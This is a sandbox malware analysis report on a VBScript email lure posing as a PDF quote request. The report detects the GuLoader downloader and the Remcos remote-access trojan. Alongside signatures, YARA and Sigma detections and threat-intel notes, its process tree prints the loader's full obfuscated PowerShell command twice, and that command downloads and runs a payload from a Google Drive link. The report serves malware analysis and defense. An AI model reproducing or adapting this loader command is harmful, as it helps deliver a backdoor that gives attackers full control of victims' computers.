Edit tour

Windows Analysis Report
ANGEBOTSANFRAGE (Universit#U00e4t Klagenfurt) 10-03-2025#U00b7pdf.vbs

Overview

General Information

Sample name:	ANGEBOTSANFRAGE (Universit#U00e4t Klagenfurt) 10-03-2025#U00b7pdf.vbs renamed because original name is a hash value
Original sample name:	ANGEBOTSANFRAGE (Universitt Klagenfurt) 10-03-2025pdf.vbs
Analysis ID:	1634190
MD5:	8021cc623d59a1db7f0f3e305f370449
SHA1:	674669f5ded1c632e1d18b149f902ca41c00fdb2
SHA256:	a354b3d778c617b5abfd7e9717e095053838e9c1e5eed9cc03937a9ca85d97c6
Tags:	DEUgeoRATRemcosRATvbsuser-abuse_ch
Infos:

Detection

Remcos, GuLoader

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Detected Remcos RAT

Early bird code injection technique detected

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

VBScript performs obfuscated calls to suspicious functions

Yara detected GuLoader

Yara detected Powershell download and execute

Yara detected Remcos RAT

Found suspicious powershell code related to unpacking or dynamic code loading

Joe Sandbox ML detected suspicious sample

Potential evasive VBS script found (sleep loop)

Queues an APC in another process (thread injection)

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses ping.exe to check the status of other devices and networks

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Msiexec Initiated Connection

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7032 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ANGEBOTSANFRAGE (Universit#U00e4t Klagenfurt) 10-03-2025#U00b7pdf.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

PING.EXE (PID: 6416 cmdline: ping Host_6637.6637.6637.657e MD5: 2F46799D79D22AC72C241EC0322B011D)

conhost.exe (PID: 6436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4504 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "echo $Uncaramelised;function Spuledes($Soncy){ .($Industrivirksomheders) ($Soncy)} function Paining($Kortform){$Suprascapular225=4;do{$Ancientest+=$Kortform[$Suprascapular225];$Suprascapular225+=5;$Rockerkrig=Format-List} until(!$Kortform[$Suprascapular225])$Ancientest}$Strghandlen=Paining 'ErhvNPouleHje TCere.Enclw';$Strghandlen+=Paining 'SneaEBrugbBla cOv rLFin iPr eE ArgNKelpT';$cravenhearted=Paining ' pplMSt roBenezScoriAraplOverlOweraUdvi/';$where=Paining ' GerT Retl HydsBitt1Fast2';$Cellobiose='Carl[Ch.rnSmaaeSo ftMono.EngrSAlfaeA.skr l,nvLy tIOverCSammEp.akp,espoTid,ISu gNB gfTAfseMSoc ABroenCensA uslGMobieSljfr.air]C mo:Mosa:PolySEsurESpekcRrinuB,koRKe tiRecotStvdyEa ePTrevrSparoDyflTEgneOTrapCBlokO KryLTryk=S.ua$,uscwBos Hstnke IterD.agE';$cravenhearted+=Paining 'A,th5 Amy.Hogn0galg Emp(KontW CapiSk.fnContd.yreoKo pw,redsUnna MensNUretTBust Beha1Sass0Data..ppl0Staa; For SmagW DisiFestn Til6 ol4Ufo,;Gyps ssex Nar6Sven4Amat;M ka ktt.rTeknvMene:afko1Inve3linj4Cont. M,v0Sept)Sex, CrocGSpyteTtnecAirvkNe.eodato/Uku.2 ou0Fors1Paar0 Cum0 Dag1Dipo0Impr1Hypn LeaF evii ammrBraeeBr,mf Hygo BruxOro./T yk1Ajou3T np4Hogf.Ni e0';$Unfauceted=Paining 'Roc.UMe,aSBy.neT.kbREven-GreeAPortG BraE PhenOrdst';$Disbursable=Paining 'Pa thMetetBiblt,rivpF,rssC.ar: For/ Je,/SyridAilcrAbsyiFrasvForleHove.SnvrgRickoU,saoSk vg CanlOxmaedi,t. islcGentoEnf mRaah/G leuTaalcTwan?.taveConrx .mvp.steoSrh rCarptEmpi=Hvisd HetoFredwMissn entlRepaoabsta P.rdTilb&Ariai Sard Fr,=Kbte1 Ilmi Mu 7LgbrdAlt.wAkk fVig RBlokP BemhBemavFejl9B.utuObol6 ktiAR lsAA,sudBorg6 MosiUniorNavaYUtilY Fil6Def 3HumdbDiktwH dgG Fo,YS.ceeAttr4conc-Simp0 rivQF lkC';$Benzinmotorernes=Paining 'Ere >';$Industrivirksomheders=Paining 'VauliEav Etanyx';$Samfundshjlperens='Fredningsplanerne';$Cocoon='\Squarely154.Gen';Spuledes (Paining ' A,s$miljgBrnel udeOFlorB hura Till ,nh:Tri,pHarmASoutV tiiOut NDrecSRut =Bonn$Af.aeFlinnPensV ur:AccrASirtpVag.p FerDSemiaPrept Hica Wee+Out.$AubacErytOA.ymcUngaoBo,yoGa,nn');Spuledes (Paining ' R.g$ micgR jsLSatsOGophB oorATantla ba: Sc mInfiA umMKapsmD ngOrundN rkeISekuSAfklMpart=Fork$T ssD KafiRailSPachB Co uAlloRHin ST lgaA taBRygtlulveE ve.Con,S,salp ummLKbeliBemgT Tri( ndi$Wel b .lieOpk nPee,Z sa.IAdeln ResMBremoD,aiTT psOUnterAfg eWo dRFin.NEth e l gsford)');Spuledes (Paining $Cellobiose);$Disbursable=$Mammonism[0];$forevigende=(Paining 'L ce$Rbd GCherL parOKv.kbKamgAAlmaLVanr:FodeuE akdOutbFLeucLHutuaDiktaCayadStilDOlymESterNForne th.SGhan=Ho.eNBagkEeuphwKirk- ClaOEkspbPinnJCen.e.dskCpredTHy,o SlacsFagmyGameSInert pheeCarnmBall.pidd$Indss djotGadgRSejlGTermh KnaAKrign AppD liglFagfEMegaN');Spuledes ($forevigende);Spuledes (Paining 'Lago$Esa,UNapod mof C ll.risa.ulkaveksdNonpdRente A,enFazieSul,sPrev. ,xeH Fo,eFritaLuded UdfeUdplrK.ntsVali[ L n$LegaUD.pin BerfDamea.ntiuAnt cstryequict Tare U,bdHvid] Per=Frdi$UncocFormrLittaP kevDawfemacan esuh ArbeFru aExtrrKun tF rueaglyd');$svaledes=Paining 'Sm.g$MiljUUvitdkapifMidtl .ala Misa TeedV lcdNonne ismnTe.eeantis Udh.Fo lDAnf osogew V gnAkkol P eo aasa,impdKontFOveriOverlKunaeMati(D,on$Ge mDdr,liInves stab N uudrisr UnbsBargahircbGteslUtaieA ch,Brig$ OveMSpaciStadlkondiRefoePla u Tvib R veforysAkkok Un yNonutTag.tjul eBrkdlFyr sNybaeSildsMeiok renostarnIndbvS,lfeSylln hrtTechi AnhoCorrnHandeUnn rOas sGrib)';$Milieubeskyttelseskonventioners=$Pavins;Spuledes (Paining ' Sp.$Po cgWienL rooFornbNyttatr mlAnlb:ParkLCampEPse dUnmagSkrae ycnR Kar=Jord(Loo TS,ibEB.giS skotNonm-NonsPAttraRecut FarHDbef Ste $s bsmkramiMeetlvigoI HexeSkr uFacibSpdlE.rtisT kskTidsYDel.T Me TBagsESkiplSognsU,brE BesS fl KTrumoGuttNMisdvUnexEmou N TrutCottIAmplODilaNR maEaf.pRthersLs e)');while (!$Ledger) {Spuledes (Paining 'util$unbagOpfolMipsoBemibCadeaCabilKuwa:C,biASexldA foe CenqTopauBil aBisecArbey fo,=Opsl$FrugBDesie TilhChieaFrotlDakfvD,nde Mals') ;Spuledes $svaledes;Spuledes (Paining 'Hypo[FldetSekuh vorRK rteNontArapiDGia,IUddaN apagChe . ubT inchEs irConce Egea rhvDLap.]Doze: Ind:G mpSSproLTimpETrigE S.np ath(Taft4Vejr0 aas0Trne0 und)');Spuledes (Paining ' Ta $P.ebgStrulGulvo diab Anta ollDeko:DeniLbetaESubtdRav.gVideESundRKran=O es(La,gT itzETop SSmaat Ove- oliPLe fAP efT Su HYrsn Bes$UngemHarmISlidlStirIsaboE UnduTr,aBHei eLic s rizK DipYWalet ClytRo,seSkolL ForSSkipeAllosMis KLaccO traNSkovVContETykkn ProTP.trIParrORoasNK.nfeGyror ,olsKran)') ;Spuledes (Paining ' mpl$RistGDe oLSarcOTriabKonsATricLOo i:Di,peNe,scDinghNonnuretocGedeaOlan=Over$Si.iGConylEnscOF lkBAnseaFljml Mis:EldrhBattAK nkrOv rr EnsiLnkoSUncoBsociuOmp R M,xgDeni+ to+Likv%Ento$MemoM Flyama.amCowfMAetho rskNKbspISk lSMal,MFolk. rrc StaO ppoUToten kriT') ;$Disbursable=$Mammonism[$Echuca]}$Pollster=334368;$Barytocelestite=30065;Spuledes (Paining 'funk$la rGM usLM ljoTraib moeAGgedlkons:MartlPetuy KlisStarK enO GulpFiskI D,msPige Mast=El,v G lg Po ESlagt Rom-se kc ,neoRussNSnertTi fEde iNNimbtTeab Rosb$SounMMaltIKlaslSe,rIBedrET opUEctoBGalgEMo uSAd.rkSubsYReg.tnessTTjave VelLProrSUneleL ngsSmokkMileosvinnMiljVUniveSt.rNmodttRegeI ourO ArbnFordEAdhir .onS');Spuledes (Paining 'Berr$SlidgTe nlOlieo,limbFarvaNonalSk d:KakoGDintoStrbrUdtrdDiseiSemioDammiSa,tdReci qui =Poly Tu.n[UnadS nsty kossKro.t aareFablmE,te.Par CLithoStninSalvvTileeN torBasitSkjo] app:Kemi:R siFBhlarWienoCa em UdvBFgtea blgs Omve,sce6Term4AbsoSsandtViserwhitiunshnbetog art(Aff $BortLBidsyUdbos OnekHelsoYp epTropi leksV.rv)');Spuledes (Paining 'pror$Sta.GHornlAtomO f sBS.niaKvruLU,gr:OutcTLngdeForetCh krCentAEye PCobsH TmmOE,tlS TripElash In,A RidtnoneEStra knyt=Deli Otio[Quans HexyAutosMototSammeVaa m mph. evTReasEScioXOr,ot exp.ForseFablNopdaCEft,OquadDUnw,i utoN ConGUnus]Past:miss:Hecta EulsSvincP ctIRas I.pst.RepaGC,moeBumpTKaprSYodltR spr Da iB,omn aneGAut ( igh$ToadGb,ocoTer,rUdmed TorI NumoafstI ,andBlge)');Spuledes (Paining ' Bes$ idrGTetrlTithOByrdbUdliATindL E c:P rtPServaHalvu.arbL jeriStirNSpejIFrafaWiddN Und5 bem2Tel.=baer$H antV.ltEPre,TUdperT,phaParoPSk lhshanosesqsOvnsPRenaH Br AtaxaT Gr,ERegi.CuncSForsUProjB PalSB kgTammoR SkiiSkyrN cupgMeta(Kl b$BetjpF.lkoTherLBaksL Bais SoltDobleAse RMa.s,Fru,$.ubwbCer AReslRAn,yYSaksTdksbOLi.pCUrtie.estLBilieKjersU ontHuskIOrthTWindEP ro)');Spuledes $Paulinian52;" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 4232 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

powershell.exe (PID: 7356 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "echo $Uncaramelised;function Spuledes($Soncy){ .($Industrivirksomheders) ($Soncy)} function Paining($Kortform){$Suprascapular225=4;do{$Ancientest+=$Kortform[$Suprascapular225];$Suprascapular225+=5;$Rockerkrig=Format-List} until(!$Kortform[$Suprascapular225])$Ancientest}$Strghandlen=Paining 'ErhvNPouleHje TCere.Enclw';$Strghandlen+=Paining 'SneaEBrugbBla cOv rLFin iPr eE ArgNKelpT';$cravenhearted=Paining ' pplMSt roBenezScoriAraplOverlOweraUdvi/';$where=Paining ' GerT Retl HydsBitt1Fast2';$Cellobiose='Carl[Ch.rnSmaaeSo ftMono.EngrSAlfaeA.skr l,nvLy tIOverCSammEp.akp,espoTid,ISu gNB gfTAfseMSoc ABroenCensA uslGMobieSljfr.air]C mo:Mosa:PolySEsurESpekcRrinuB,koRKe tiRecotStvdyEa ePTrevrSparoDyflTEgneOTrapCBlokO KryLTryk=S.ua$,uscwBos Hstnke IterD.agE';$cravenhearted+=Paining 'A,th5 Amy.Hogn0galg Emp(KontW CapiSk.fnContd.yreoKo pw,redsUnna MensNUretTBust Beha1Sass0Data..ppl0Staa; For SmagW DisiFestn Til6 ol4Ufo,;Gyps ssex Nar6Sven4Amat;M ka ktt.rTeknvMene:afko1Inve3linj4Cont. M,v0Sept)Sex, CrocGSpyteTtnecAirvkNe.eodato/Uku.2 ou0Fors1Paar0 Cum0 Dag1Dipo0Impr1Hypn LeaF evii ammrBraeeBr,mf Hygo BruxOro./T yk1Ajou3T np4Hogf.Ni e0';$Unfauceted=Paining 'Roc.UMe,aSBy.neT.kbREven-GreeAPortG BraE PhenOrdst';$Disbursable=Paining 'Pa thMetetBiblt,rivpF,rssC.ar: For/ Je,/SyridAilcrAbsyiFrasvForleHove.SnvrgRickoU,saoSk vg CanlOxmaedi,t. islcGentoEnf mRaah/G leuTaalcTwan?.taveConrx .mvp.steoSrh rCarptEmpi=Hvisd HetoFredwMissn entlRepaoabsta P.rdTilb&Ariai Sard Fr,=Kbte1 Ilmi Mu 7LgbrdAlt.wAkk fVig RBlokP BemhBemavFejl9B.utuObol6 ktiAR lsAA,sudBorg6 MosiUniorNavaYUtilY Fil6Def 3HumdbDiktwH dgG Fo,YS.ceeAttr4conc-Simp0 rivQF lkC';$Benzinmotorernes=Paining 'Ere >';$Industrivirksomheders=Paining 'VauliEav Etanyx';$Samfundshjlperens='Fredningsplanerne';$Cocoon='\Squarely154.Gen';Spuledes (Paining ' A,s$miljgBrnel udeOFlorB hura Till ,nh:Tri,pHarmASoutV tiiOut NDrecSRut =Bonn$Af.aeFlinnPensV ur:AccrASirtpVag.p FerDSemiaPrept Hica Wee+Out.$AubacErytOA.ymcUngaoBo,yoGa,nn');Spuledes (Paining ' R.g$ micgR jsLSatsOGophB oorATantla ba: Sc mInfiA umMKapsmD ngOrundN rkeISekuSAfklMpart=Fork$T ssD KafiRailSPachB Co uAlloRHin ST lgaA taBRygtlulveE ve.Con,S,salp ummLKbeliBemgT Tri( ndi$Wel b .lieOpk nPee,Z sa.IAdeln ResMBremoD,aiTT psOUnterAfg eWo dRFin.NEth e l gsford)');Spuledes (Paining $Cellobiose);$Disbursable=$Mammonism[0];$forevigende=(Paining 'L ce$Rbd GCherL parOKv.kbKamgAAlmaLVanr:FodeuE akdOutbFLeucLHutuaDiktaCayadStilDOlymESterNForne th.SGhan=Ho.eNBagkEeuphwKirk- ClaOEkspbPinnJCen.e.dskCpredTHy,o SlacsFagmyGameSInert pheeCarnmBall.pidd$Indss djotGadgRSejlGTermh KnaAKrign AppD liglFagfEMegaN');Spuledes ($forevigende);Spuledes (Paining 'Lago$Esa,UNapod mof C ll.risa.ulkaveksdNonpdRente A,enFazieSul,sPrev. ,xeH Fo,eFritaLuded UdfeUdplrK.ntsVali[ L n$LegaUD.pin BerfDamea.ntiuAnt cstryequict Tare U,bdHvid] Per=Frdi$UncocFormrLittaP kevDawfemacan esuh ArbeFru aExtrrKun tF rueaglyd');$svaledes=Paining 'Sm.g$MiljUUvitdkapifMidtl .ala Misa TeedV lcdNonne ismnTe.eeantis Udh.Fo lDAnf osogew V gnAkkol P eo aasa,impdKontFOveriOverlKunaeMati(D,on$Ge mDdr,liInves stab N uudrisr UnbsBargahircbGteslUtaieA ch,Brig$ OveMSpaciStadlkondiRefoePla u Tvib R veforysAkkok Un yNonutTag.tjul eBrkdlFyr sNybaeSildsMeiok renostarnIndbvS,lfeSylln hrtTechi AnhoCorrnHandeUnn rOas sGrib)';$Milieubeskyttelseskonventioners=$Pavins;Spuledes (Paining ' Sp.$Po cgWienL rooFornbNyttatr mlAnlb:ParkLCampEPse dUnmagSkrae ycnR Kar=Jord(Loo TS,ibEB.giS skotNonm-NonsPAttraRecut FarHDbef Ste $s bsmkramiMeetlvigoI HexeSkr uFacibSpdlE.rtisT kskTidsYDel.T Me TBagsESkiplSognsU,brE BesS fl KTrumoGuttNMisdvUnexEmou N TrutCottIAmplODilaNR maEaf.pRthersLs e)');while (!$Ledger) {Spuledes (Paining 'util$unbagOpfolMipsoBemibCadeaCabilKuwa:C,biASexldA foe CenqTopauBil aBisecArbey fo,=Opsl$FrugBDesie TilhChieaFrotlDakfvD,nde Mals') ;Spuledes $svaledes;Spuledes (Paining 'Hypo[FldetSekuh vorRK rteNontArapiDGia,IUddaN apagChe . ubT inchEs irConce Egea rhvDLap.]Doze: Ind:G mpSSproLTimpETrigE S.np ath(Taft4Vejr0 aas0Trne0 und)');Spuledes (Paining ' Ta $P.ebgStrulGulvo diab Anta ollDeko:DeniLbetaESubtdRav.gVideESundRKran=O es(La,gT itzETop SSmaat Ove- oliPLe fAP efT Su HYrsn Bes$UngemHarmISlidlStirIsaboE UnduTr,aBHei eLic s rizK DipYWalet ClytRo,seSkolL ForSSkipeAllosMis KLaccO traNSkovVContETykkn ProTP.trIParrORoasNK.nfeGyror ,olsKran)') ;Spuledes (Paining ' mpl$RistGDe oLSarcOTriabKonsATricLOo i:Di,peNe,scDinghNonnuretocGedeaOlan=Over$Si.iGConylEnscOF lkBAnseaFljml Mis:EldrhBattAK nkrOv rr EnsiLnkoSUncoBsociuOmp R M,xgDeni+ to+Likv%Ento$MemoM Flyama.amCowfMAetho rskNKbspISk lSMal,MFolk. rrc StaO ppoUToten kriT') ;$Disbursable=$Mammonism[$Echuca]}$Pollster=334368;$Barytocelestite=30065;Spuledes (Paining 'funk$la rGM usLM ljoTraib moeAGgedlkons:MartlPetuy KlisStarK enO GulpFiskI D,msPige Mast=El,v G lg Po ESlagt Rom-se kc ,neoRussNSnertTi fEde iNNimbtTeab Rosb$SounMMaltIKlaslSe,rIBedrET opUEctoBGalgEMo uSAd.rkSubsYReg.tnessTTjave VelLProrSUneleL ngsSmokkMileosvinnMiljVUniveSt.rNmodttRegeI ourO ArbnFordEAdhir .onS');Spuledes (Paining 'Berr$SlidgTe nlOlieo,limbFarvaNonalSk d:KakoGDintoStrbrUdtrdDiseiSemioDammiSa,tdReci qui =Poly Tu.n[UnadS nsty kossKro.t aareFablmE,te.Par CLithoStninSalvvTileeN torBasitSkjo] app:Kemi:R siFBhlarWienoCa em UdvBFgtea blgs Omve,sce6Term4AbsoSsandtViserwhitiunshnbetog art(Aff $BortLBidsyUdbos OnekHelsoYp epTropi leksV.rv)');Spuledes (Paining 'pror$Sta.GHornlAtomO f sBS.niaKvruLU,gr:OutcTLngdeForetCh krCentAEye PCobsH TmmOE,tlS TripElash In,A RidtnoneEStra knyt=Deli Otio[Quans HexyAutosMototSammeVaa m mph. evTReasEScioXOr,ot exp.ForseFablNopdaCEft,OquadDUnw,i utoN ConGUnus]Past:miss:Hecta EulsSvincP ctIRas I.pst.RepaGC,moeBumpTKaprSYodltR spr Da iB,omn aneGAut ( igh$ToadGb,ocoTer,rUdmed TorI NumoafstI ,andBlge)');Spuledes (Paining ' Bes$ idrGTetrlTithOByrdbUdliATindL E c:P rtPServaHalvu.arbL jeriStirNSpejIFrafaWiddN Und5 bem2Tel.=baer$H antV.ltEPre,TUdperT,phaParoPSk lhshanosesqsOvnsPRenaH Br AtaxaT Gr,ERegi.CuncSForsUProjB PalSB kgTammoR SkiiSkyrN cupgMeta(Kl b$BetjpF.lkoTherLBaksL Bais SoltDobleAse RMa.s,Fru,$.ubwbCer AReslRAn,yYSaksTdksbOLi.pCUrtie.estLBilieKjersU ontHuskIOrthTWindEP ro)');Spuledes $Paulinian52;" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 7632 cmdline: "C:\Windows\SysWOW64\msiexec.exe" MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 7836 cmdline: "C:\Windows\System32\msiexec.exe" MD5: 9D09DC1EDA745A5F87553048E57620CF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Remcos, RemcosRAT	Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.	APT33 The Gorgon Group UAC-0050	http://malware-traffic-analysis.net/2017/12/22/index.html https://0xmrmagnezi.github.io/malware%20analysis/RemcosRAT/ https://asec.ahnlab.com/en/32376/ https://asec.ahnlab.com/ko/25837/ https://asec.ahnlab.com/ko/32101/	https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000E.00000002.1697743441.0000000008EE0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000010.00000002.1859072664.000000000064C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000E.00000002.1680502700.0000000005F69000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
0000000E.00000002.1697979779.000000000AC0F000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000004.00000002.1371459789.0000022590070000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
Process Memory Space: powershell.exe PID: 4504	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 4504	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x2acc7a:$b2: ::FromBase64String( 0x2accb2:$b2: ::FromBase64String( 0x2acceb:$b2: ::FromBase64String( 0x2acd25:$b2: ::FromBase64String( 0x2acd60:$b2: ::FromBase64String( 0x2acd9c:$b2: ::FromBase64String( 0x2acdd9:$b2: ::FromBase64String( 0x2ace17:$b2: ::FromBase64String( 0x2ace56:$b2: ::FromBase64String( 0x2ace96:$b2: ::FromBase64String( 0x2aced7:$b2: ::FromBase64String( 0x16c24:$s1: -join 0x19aef:$s1: -join 0x40301:$s1: -join 0x4d3d6:$s1: -join 0x507a8:$s1: -join 0x50e5a:$s1: -join 0x5294b:$s1: -join 0x54b51:$s1: -join 0x55378:$s1: -join 0x55be8:$s1: -join
Process Memory Space: powershell.exe PID: 7356	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7356	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x77df2:$b2: ::FromBase64String( 0x6f4a8:$s1: -join 0x18157c:$s1: -join 0x18f552:$s1: -join 0x18fd2b:$s1: -join 0x20922:$s3: reverse 0x2ca4b:$s3: reverse 0x1dba7e:$s3: reverse 0x1e89ed:$s3: reverse 0x206b72:$s3: reverse 0x21278f:$s3: reverse 0x28fe8b:$s3: reverse 0x2914d7:$s3: reverse 0x2917a2:$s3: reverse 0x291e15:$s3: reverse 0x2925ba:$s3: reverse 0x29a81c:$s3: reverse 0x29cfb5:$s3: reverse 0x29d3cf:$s3: reverse 0x29df57:$s3: reverse 0x29ec04:$s3: reverse
Process Memory Space: msiexec.exe PID: 7632	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Click to see the 5 entries

Other

Source	Rule	Description	Author	Strings
amsi64_4504.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_4504.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xfd6f:$b2: ::FromBase64String( 0xd0b9:$s1: -join 0x6865:$s4: += 0x6927:$s4: += 0xab4e:$s4: += 0xcc6b:$s4: += 0xcf55:$s4: += 0xd09b:$s4: += 0xf451:$s4: += 0xf4d1:$s4: += 0xf597:$s4: += 0xf617:$s4: += 0xf7ed:$s4: += 0xf871:$s4: += 0xd8d3:$e4: Get-WmiObject 0xdac2:$e4: Get-Process 0xdb1a:$e4: Start-Process
amsi32_7356.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xa8d6:$b2: ::FromBase64String( 0x9951:$s1: -join 0x30fd:$s4: += 0x31bf:$s4: += 0x73e6:$s4: += 0x9503:$s4: += 0x97ed:$s4: += 0x9933:$s4: += 0x13836:$s4: += 0x138b6:$s4: += 0x1397c:$s4: += 0x139fc:$s4: += 0x13bd2:$s4: += 0x13c56:$s4: += 0xa16b:$e4: Get-WmiObject 0xa35a:$e4: Get-Process 0xa3b2:$e4: Start-Process 0x144a7:$e4: Get-Process

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ANGEBOTSANFRAGE (Universit#U00e4t Klagenfurt) 10-03-2025#U00b7pdf.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ANGEBOTSANFRAGE (Universit#U00e4t Klagenfurt) 10-03-2025#U00b7pdf.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2528, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ANGEBOTSANFRAGE (Universit#U00e4t Klagenfurt) 10-03-2025#U00b7pdf.vbs", ProcessId: 7032, ProcessName: wscript.exe

Sigma detected: Msiexec Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 142.250.186.174, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\msiexec.exe, Initiated: true, ProcessId: 7632, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49696

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ANGEBOTSANFRAGE (Universit#U00e4t Klagenfurt) 10-03-2025#U00b7pdf.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ANGEBOTSANFRAGE (Universit#U00e4t Klagenfurt) 10-03-2025#U00b7pdf.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2528, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ANGEBOTSANFRAGE (Universit#U00e4t Klagenfurt) 10-03-2025#U00b7pdf.vbs", ProcessId: 7032, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

